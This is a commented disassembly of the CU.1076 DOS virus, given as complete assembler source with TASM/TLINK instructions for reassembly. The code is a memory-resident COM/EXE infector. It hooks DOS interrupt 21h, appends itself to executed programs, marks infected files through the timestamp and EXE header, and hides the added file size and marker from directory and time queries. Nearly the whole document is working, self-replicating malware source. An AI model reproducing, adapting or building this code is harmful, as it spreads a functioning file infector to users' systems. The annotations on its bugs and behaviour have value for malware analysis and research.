comment \

Name            : CU.1076 (according to AVP, obviously named after infection
                : marker in CRC field of EXE header.
Author          : ?
Type            : TSR EXE/COM infector with sizestealth
Size            : 1076 bytes
Origin          : ?
When            : ?
Status          : ?
Disassembled by : Black Jack

Description:
When an infected file is executed, the virus gains control and goes TSR by
the standart MCB method and hooks int21h. It then infects COM and EXE files
when they are executed or loaded by function 4Bh. The infection process is
100% standart. Date, Time and Attributes are stored (except that the seconds
filed holds the infection mark 60), and a dummy int24h is installed during
infection. Also, the virus uses size stealth for FCB (functions 11h, 12h)
handle (functions 4Eh, 4Fh) and Win95 (functions 714Eh, 714Fh), although
the handle stealth won't work because of lots of bugs. Also it has a kind
of time-stealth, on the get time function (5700h) it returns the seconds
field of the last infected file to hide its infection mark.

Comments:
This is just a stupid and boring DOS virus, I just disassembled it because
of great boredom and because I had found an infected file on my mothers PC
(but please don't ask me how it came there). Its full of bugs and rubbish.

Reassembly tested with Tasm 3.1 and TLink 3.0 .

        TASM /M cu
        TLINK /t cu

\


virus_size      =       (v_end - v_start)

.model tiny
.286
.code
org 100h
start:
        nop                             ; dummy host
        nop
        nop


v_start:
	push    es                      ; save PSP segment

	call    next                    ; calculate delta offset
next:
	pop     bp
	sub     bp,offset next          ; BP=delta offset

	mov     ax,1818h                ; already resident?
	int     21h
	cmp     bx,0C001h
	je      already_resident        ; yes, we're there

	mov     ax,ds                   ; AX=PSP segment
	dec     ax                      ; AX=MCB segment
	mov     ds,ax                   ; DS=MCB segment
        mov     cl,"M"                  ; marker: not the last MCB
	xchg    ds:[0],cl               ; mark our MCB as not the last
	sub     word ptr ds:[3],40h     ; resize MCB
	sub     word ptr ds:[12h],40h   ; end segment of this program
	mov     bx,ds:[12h]             ; BX=segment of new virus MCB
	mov     ds,bx                   ; DS=segment of new virus MCB
	inc     bx                      ; BX=segment of the virus
	mov     es,bx                   ; ES=segment of the virus
	mov     ds:[0],cl               ; marker of virus MCB
	mov     word ptr ds:[1],8       ; mark as system MCB
	mov     word ptr ds:[3],3Fh     ; set virus segment size in MCB

	push    cs                      ; DS=CS
	pop     ds
	xor     di,di                   ; DI=0
	lea     si,[bp+v_start]		; SI=start of virus code
	mov     cx,virus_size           ; CX=size of virus
	cld                             ; clear direction flag
	rep     movsb                   ; copy virus to TSR location

	push    es                      ; save virus segment

	push    es                      ; DS=ES=virus segment
	pop     ds

	mov     ax,3521h                ; get int21h vector
	int     21h
        mov     ds:[int21h_offset-v_start],bx       ; save it
        mov     ds:[int21h_segment-v_start],es

	pop     es                      ; ES=virus segment

	mov     ax,2521h                ; set new int21h vector
        mov     dx,(int21h_handler-v_start) ; DS:DX=new int handler
	int     21h

already_resident:
	pop     es                      ; ES=PSP segment
	push    cs                      ; DS=CS
	pop     ds

	cmp     cs:[bp+host_type],"XE"  ; is host an EXE?
	je      restore_exe

restore_com:
	lea     si,[bp+header]          ; original first bytes of host
	mov     di,100h
        cld                             ; clear direction flag
	movsw                           ; move start of host back
	movsb

	push    es                      ; DS=ES=PSP segment
	pop     ds
	push    100h                    ; jump to host start
	ret

restore_exe:
	mov     ax,es                   ; AX=ES=PSP segment
	add     ax,10h                  ; AX=start segment of image
	push    es                      ; DS=ES=PSP segment
	pop     ds
	add     word ptr cs:[bp+host_cs],ax   ; relocate jump to host
	add     ax,word ptr cs:[bp+host_ss]   ; relocate host SS
	mov     ss,ax                         ; restore host SS
	mov     sp,word ptr cs:[bp+host_sp]   ; restore host SP

	db      0EAh                    ; jmp far opcode
host_ip         dw      ?
host_cs         dw      ?

host_ss         dw      ?
host_sp         dw      ?

int21h_handler:
	cmp     ax,1818h                ; residency check
	jne     no_residency_check
	mov     bx,0C001h               ; we're already installed
	iret                            ; quit interrupt execution

no_residency_check:
	cmp     ah,4Bh                  ; load/execute file
	jne     no_exec
	jmp     infect

no_exec:
        cmp     ah,11h                  ; FCB find first file?
        je      fcb_stealth
        cmp     ah,12h                  ; FCB find next file?
        je      fcb_stealth

        cmp     ah,4Eh                  ; handle find first file?
        jne     no_findfirst_handle
        jmp     handle_stealth
no_findfirst_handle:
        cmp     ah,4Fh                  ; handle find next file?
        jne     no_findnext_handle
        jmp     short handle_stealth
	nop
no_findnext_handle:

        cmp     ax,714Eh                ; LFN find first file?
        jb      no_LFN_stealth
        cmp     ax,714Fh                ; LFN find next file?
        ja      no_LFN_stealth
        jmp     LFN_stealth

no_LFN_stealth:
        cmp     ax,5700h                ; get file date/time?
	jne     org_int21h              ; Jump if not equal
        jmp     time_stealth

org_int21h:
		db      0EAh
int21h_pointer  equ     this dword
int21h_offset   dw      ?
int21h_segment  dw      ?


; ----- FCB STEALTH ---------------------------------------------------------
fcb_stealth:
        pushf                           ; simulate int21h call
        call    dword ptr cs:[int21h_pointer-v_start]

        pushf                           ; save flags
        pusha                           ; save all regs
        push    ds                      ; save segments
	push    es

        or      al,al                   ; FCB search failed?
        jnz     exit_fcb_stealth        ; if so, quit stealth routine

        mov     ah,51h                  ; get active PSP segment to BX
	int     21h

        mov     es,bx                   ; ES=active PSP segment
        cmp     bx,es:[16h]             ; is it COMMAND.COM calling?
        jne     exit_fcb_stealth        ; if not, don't do stealth

        mov     ah,2Fh                  ; get DTA to ES:BX
	int     21h

        push    es                      ; DS:BX=DTA
	pop     ds

        cwd                             ; DX=0

        cmp     byte ptr [bx],0FFh      ; is it an extended FCB?
        jne     no_extended_fcb
        add     bx,7                    ; convert to regular FCB
no_extended_fcb:
        mov     cl,[bx+17h]             ; CL=low byte of filetime
        and     cl,00011111b            ; CL=seconds
        cmp     cl,1Dh                  ; seconds=60 means infected
        jne     exit_fcb_stealth        ; if not, then exit stealth routine

        mov     ax,[bx+9]               ; AX:CL=file extension
	mov     cl,[bx+1Bh]
        cmp     ax,"OC"                 ; is it a COM file?
        jne     fcb_stealth_no_com
        cmp     cl,"M"
        jne     exit_fcb_stealth        ; its not an EXE/COM
        jmp     short do_fcb_stealth
        nop
fcb_stealth_no_com:
        cmp     ax,"XE"                 ; is it an EXE file?
        jne     exit_fcb_stealth        ; its not an EXE/COM
        cmp     al,"E"
        jne     exit_fcb_stealth        ; its not an EXE/COM
do_fcb_stealth:
        sub     word ptr [bx+1Dh],virus_size    ; stealth filesize
        sbb     word ptr [bx+1Ch],0             ; stealth filesize

exit_fcb_stealth:
        pop     es                      ; restore setment registers
	pop     ds
        popa                            ; restore all regs
        popf                            ; restore flags
        retf    2                       ; return from INT and keep the flags


; ----- HANDLE STEALTH ------------------------------------------------------
; note: this routine is much to buggy to work.

handle_stealth:
        pushf                           ; push flags
        call    dword ptr cs:[int21h_pointer-v_start]
        jc      findfirstnext_failed

        pushf                           ; save flags
        pusha                           ; save all registers
        push    ds                      ; save segment registers
	push    es
        push    di                      ; save DI (useless)

        mov     ah,2Fh                  ; get DTA to ES:BX
	int     21h
                                        ; BUG! DS should be set to ES here!!!

        mov     cl,[bx+16h]             ; CL=low byte of filetime
        and     cl,00011111b            ; CL=seconds of filetime
        cmp     cl,1Dh                  ; seconds=60 means infected
        jne     exit_handle_stealth

        push    si                      ; save SI (useless)
        lea     si,[bx+1Eh]             ; ES:SI=filename
        call    get_extension           ; get file extension to AX:CL
        pop     si                      ; restore SI

        cmp     ax, "OC"                ; could it be a COM file?
        jne     handle_stealth_no_com   ; check for an EXE
        cmp     cl,"M"                  ; really a COM?
        jne     exit_handle_stealth     ; if not, exit stealth routine
        jmp     short do_handle_stealth
        nop

handle_stealth_no_com:
        cmp     ax,"XE"                 ; could it be an EXE file?
        jne     exit_handle_stealth     ; no EXE/COM, leave stealth routine
        cmp     cl,"E"                  ; really an EXE?
        jne     exit_handle_stealth     ; no EXE/COM, leave stealth routine

do_handle_stealth:
        sub     word ptr es:[bx+1Ah],virus_size ; fixup filesize
                                        ; BUG! hiword of filesize unchanged!!!

exit_handle_stealth:
        pop     di                      ; restore DI
        pop     es                      ; restore segment registers
        pop     ds
        popa                            ; restore all registers
        popf                            ; restore flags

findfirstnext_failed:
        retf    2                       ; return from INT and keep the flags


; ----- LONG FILENAME (WIN95) STEALTH ---------------------------------------
LFN_stealth:
        pushf                           ; simulate int21h call
        call    dword ptr cs:[int21h_pointer-v_start]
                                        ; ES:DI=finddata structure

        pushf                           ; save flags
        pusha                           ; save all regs
        push    ds                      ; save segments
	push    es

        jc      exit_lfn_stealth        ; exit on error
        nop
	nop
        push    es                      ; DS=ES
	pop     ds

        mov     ax,si                   ; SI=DateTimeFormat
        cmp     ax,1                    ; 1 means DOS format for date/time
        je      dos_datetime_format
	nop
	nop
        mov     ax,71A7h                ; convert date/time format
        xor     bl,bl                   ; BL=0: Win95 format to DOS format
        mov     si,di
        add     si,14h                  ; DS:SI=ptr to filetime
        pushf                           ; simulate int21h call
	call    dword ptr cs:[int21h_pointer-v_start]
                                        ; return CX=filetime, DX=filedate
        jmp     short filetime_in_CX
	nop                             ; stupid single-pass assembler

dos_datetime_format:
        mov     cx,es:[di+14h]          ; get filetime in CX
filetime_in_CX:
        and     cl,00011111b            ; CL=file seconds
        cmp     cl,1Dh                  ; seconds=60 means infected
        jne     exit_lfn_stealth        ; if not, exit stealth routine
	nop
	nop

        push    si                      ; save SI (useless)
        lea     si,[di+2Ch]             ; DS:SI=filename ptr
        call    get_extension           ; get filename extension to AX:CL
        pop     si                      ; restore SI

        cmp     ax,"OC"                 ; could it be a COM file?
        jne     lfn_stealth_no_com      ; not a COM
	nop
	nop
        cmp     cl,"M"                  ; really a COM?
        jne     exit_lfn_stealth        ; no COM/EXE, leave stealth routine
	nop
	nop
        jmp     short do_lfn_stealth
        nop

lfn_stealth_no_com:
        cmp     ax,"XE"                 ; could it be an EXE file?
        jne     exit_lfn_stealth        ; if not, leave stealth routine.
	nop
	nop
        cmp     cl,"E"                  ; is it really an EXE?
        jne     exit_lfn_stealth        ; no COM/EXE, leave stealth routine
	nop
        nop

do_lfn_stealth:
        sub     word ptr es:[di+20h],virus_size ; fixup filesize
	sbb     word ptr es:[di+22h],0

exit_lfn_stealth:
        pop     es                      ; restore segment registers
	pop     ds
        popa                            ; restore all registers
        popf                            ; restore flags
        retf    2                       ; return from INT and keep the flags

; ----- GET THE FILE EXTENSION ----------------------------------------------
get_extension:
        lodsb                           ; get a char from filename
        cmp     al,"."                  ; end of filename?
        jne     get_extension           ; if not, search on

        cld                             ; clear direction - useless here
        lodsw                           ; get first 2 bytes of extension to AX
        xchg    cx,ax                   ; move them to CX
        cld                             ; clear direction - useless again
        lodsb                           ; get last byte of extension to AL
        xchg    cx,ax                   ; AX:CL=file extension
        ret


; ----- TIME STEALTH --------------------------------------------------------
time_stealth:
	pushf                           ; Push flags
	call    dword ptr cs:[int21h_pointer-v_start]

        pushf                           ; save flags
        pusha                           ; save all registers
        push    ds                      ; save segment registers
	push    es

        and     cl,00011111b            ; CL=seconds of filetime
        cmp     cl,1Dh                  ; seconds=60 means infected
        jne     no_time_stealth
        and     cx,11100000b            ; clear seconds of filetime
        add     cl,byte ptr cs:[seconds-v_start]  ; set new seconds field
no_time_stealth:
        pop     es                      ; restore segment registers
	pop     ds
        popa                            ; restore all registers
        popf                            ; restore flags
        retf    2                       ; return from INT and keep the flags


; ----- INFECTION -----------------------------------------------------------
infect:
	pusha                           ; save all registers
	push    ds                      ; save also segment registers
	push    es

	push    ds                      ; save DS (segm to filename)
	xor     ax,ax                   ; AX=0
	mov     ds,ax                   ; DS=AX=0=IVT segment
        mov     ax, offset int24h_handler ; BUG! forgotten to sub v_start
	mov     bx,cs                   ; BX:AX=ptr32 to int24h handler
	cli                             ; disable interrupts
	xchg    ds:[24h*4],ax           ; set new handler to int24h
	xchg    ds:[24h*4+2],bx
	mov     word ptr cs:[int24h_offset-v_start],ax  ; save old
	mov     word ptr cs:[int24h_segment-v_start],bx ; handler
	sti                             ; enable interrupts
	pop     ds                      ; restore DS (filename segm)

	mov     ax,4300h                ; get attributes of victim
	int     21h

	push    dx                      ; save filename pointer of
	push    ds                      ; victim file
	push    cx                      ; save attributes of victim

	mov     ax,4301h                ; reset attributes of victim
	xor     cx,cx                   ; CX=new attributes=0
	int     21h
	jnc     get_attributes_ok
	jmp     reset_attributes

get_attributes_ok:
	mov     ax,3D02h                ; open file r/w
	int     21h                     ; DS:DX=filename ptr
	jnc     openfile_ok
	jmp     reset_attributes

openfile_ok:
	xchg    bx,ax                   ; filehandle to BX

	push    cs                      ; DS=ES=CS
	push    cs
	pop     ds
	pop     es

	mov     ax,5700h                ; get file date/time
	int     21h
	push    cx                      ; save file time
	push    dx                      ; save file date

	mov     ah,3Fh                  ; read file header
        mov     dx, (header-v_start)    ; DS:DX=buffer to read
	mov     cx,1Ch                  ; DOS EXE header size
	int     21h

        cmp     word ptr cs:[header-v_start],"MZ"       ; EXE header?
	jne     probably_not_an_exe
	jmp     infect_exe
probably_not_an_exe:
        cmp     word ptr cs:[2AEh],"ZM"                 ; EXE header?
	jne     not_an_exe
	jmp     infect_exe
not_an_exe:
        cmp     word ptr cs:[header-v_start], -1        ; SYS file?
        jne     infect_com
	jmp     restore_filetime

header  db      1Ch dup(0C3h)           ; 0C3h - ret opcode - quit 1st gen

infect_com:
	mov     ax,4202h                ; goto end of file
	xor     cx,cx                   ; CX:DX=0=distance to move
	cwd
	int     21h                     

	cmp     dx,0                    ; high word of filesize=0 ?
	jbe     com_size_ok             ; if yes, file is too big
	jmp     restore_filetime        ; to infect
com_size_ok:
	push    ax                      ; save filesize
	sub     ax,(virus_size+3)       ; the theoretical offset of
					; the jmp if file was infected
	cmp     ax,word ptr cs:[header-v_start+1] ; equal means
					; the file is already infected
	pop     ax                      ; restore filesize in AX
	jne     com_not_infected_yet
	jmp     restore_filetime
com_not_infected_yet:
	mov     word ptr cs:[host_type-v_start],"OC" ; set host type
	sub     ax,3
	mov     word ptr cs:[jmp_distance-v_start],ax
	add     ax,3                    ; completely useless instruction
		
	mov     ah,40h                  ; write virus body
	mov     dx,0                    ; virus offset in memory
	mov     cx,virus_size           ; CX=size to write
	int     21h
		
	mov     ax,4200h                ; set filepointer to beginning
	xor     cx,cx                   ; CX:DX=distance to move=0
	cwd
	int     21h
		
	mov     ah,40h                  ; write new jump to filestart
        mov     dx,(new_jmp-v_start)    ; DS:DX=ptr to buffer
	mov     cx,3                    ; write three bytes (near jmp)
	int     21h

        pop     dx                      ; restore old file date in DX
        pop     cx                      ; restore old file time in CX
        push    cx                      ; save CX again
        and     cl,00011111b            ; CL=seconds from filetime
        mov     byte ptr cs:[seconds-v_start],cl  ; store it
        pop     cx                      ; restore CX
        and     cl,11100000b            ; clear seconds from filetime
        add     cl,1Dh                  ; mark as infected with seconds=60
        jmp     set_filetime            ; set new filetime
		
		
new_jmp:                
		db      0E9h   
jmp_distance    dw      ?

infect_exe:
        cmp     word ptr cs:[header-v_start+18h],40h    ; Relo table address
	jb      no_new_exe
        jmp     restore_filetime                        ; don't take New EXEs
no_new_exe:
        cmp     word ptr cs:[header-v_start+1Ah],0      ; Overlay number
	je      no_overlay
        jmp     restore_filetime                        ; don't take overlays
no_overlay:
        cmp     word ptr cs:[header-v_start+12h],"UC"   ; CRC/infection mark
	jne     not_infected_yet
        jmp     restore_filetime                        ; don't reinfect
not_infected_yet:
        mov     word ptr cs:[host_type-v_start],"XE"    ; mark host as EXE

        mov     ax,word ptr cs:[header-v_start+0Eh]     ; save SS
	mov     cs:[host_ss - v_start],ax
        mov     ax,word ptr cs:[header-v_start+10h]     ; save SP
        mov     cs:[host_sp - v_start],ax
        mov     ax,word ptr cs:[header-v_start+16h]     ; save CS
	mov     cs:[host_cs - v_start],ax
        mov     ax,word ptr cs:[header-v_start+14h]     ; save IP
	mov     cs:[host_ip - v_start],ax

        mov     ax,4202h                ; go to end of file
        xor     cx,cx                   ; DX:CX=new file pointer
	cwd
	int     21h

        push    bx                      ; save file handle
        push    ax                      ; save filesize
        push    dx                      ; save filesize high

        mov     bx,word ptr cs:[header-v_start+08h]     ; header size (paras)
        shl     bx,4                    ; BX=BX*16 : convert to bytes
        sub     ax,bx                   ; DX:AX=image size
	sbb     dx,0
        mov     cx,10h                  ; divide by 16
        div     cx                      ; calculate new CS/IP
	mov     word ptr cs:[header-v_start+14h],dx         ; IP
	mov     word ptr cs:[header-v_start+16h],ax         ; CS
	mov     word ptr cs:[header-v_start+0eh],ax         ; SS
	mov     word ptr cs:[header-v_start+10h],0FFFEh     ; SP
        mov     word ptr cs:[header-v_start+12h],"UC"       ; CRC/marker

        pop     dx                      ; restore filesize to DX:AX
	pop     ax
        add     ax,virus_size           ; calculate new filesize
	adc     dx,0

        mov     cx,200h                 ; calculate filesize in 512 byte pages
        div     cx
        inc     ax                      ; round up pages
        mov     word ptr cs:[header-v_start+4],ax       ; filesize mod 512
        mov     word ptr cs:[header-v_start+2],dx       ; filesize div 512

        pop     bx                      ; restore file handle

        mov     ah,40h                  ; write virus to EOF file
        mov     cx,virus_size           ; size to write
        mov     dx,0                    ; virus offset in memory
	int     21h

        mov     ax,4200h                ; go to start of file
        xor     cx,cx                   ; DX:CX=new position in file=0
	cwd
	int     21h

        mov     ah,40h                  ; write new EXE header
        mov     dx, (header-v_start)    ; DS:DX=buffer to read
        mov     cx,1Ch                  ; DOS EXE header size
	int     21h


        pop     dx                      ; restore old file date in DX
        pop     cx                      ; restore old file time in CX
        push    cx                      ; save CX again
        and     cl,00011111b            ; CL=seconds from filetime
        mov     byte ptr cs:[seconds-v_start],cl  ; store it
        pop     cx                      ; restore CX
        and     cl,11100000b            ; clear seconds from filetime
        add     cl,1Dh                  ; mark as infected with seconds=60
        jmp     set_filetime            ; set new filetime
	nop                             ; single-pass assembler shit

int24h_handler:
	iret                            ; Interrupt return

int24h_offset   dw      ?
int24h_segment  dw      ?

restore_filetime:
        pop     dx                      ; restore old file date in DX
        pop     cx                      ; restore old file time in CX

set_filetime:
        mov     ax,5701h                ; set file time/date
	int     21h

	mov     ah,3Eh                  ; close file
	int     21h

        mov     ax,5700h                ; get file time/date
	int     21h

reset_attributes:
	pop     cx                      ; restore old file attributes
	pop     ds                      ; restore pointer to filename
	pop     dx                      ; in DS:DX
	mov     ax,4301h                ; set file attributes funct.
	int     21h

	xor     ax,ax                   ; AX=0
	mov     ds,ax                   ; DS=AX=0=IVT segment
        mov     ax,word ptr cs:[int24h_offset-v_start]  ; BX:AX=ptr32 to old
        mov     bx,word ptr cs:[int24h_segment-v_start] ; int24h handler
	cli                             ; disable interrupts
	mov     ds:[24h*4],ax           ; restore old int24h handler
	mov     ds:[24h*4+2],bx
	sti                             ; enable interrupts

	pop     es                      ; restore segment registers
	pop     ds
	popa                            ; restore all other registers
	jmp     org_int21h

host_type       dw      "OC"            ; first generation is a COM
seconds         db      0
v_end:

		end     start
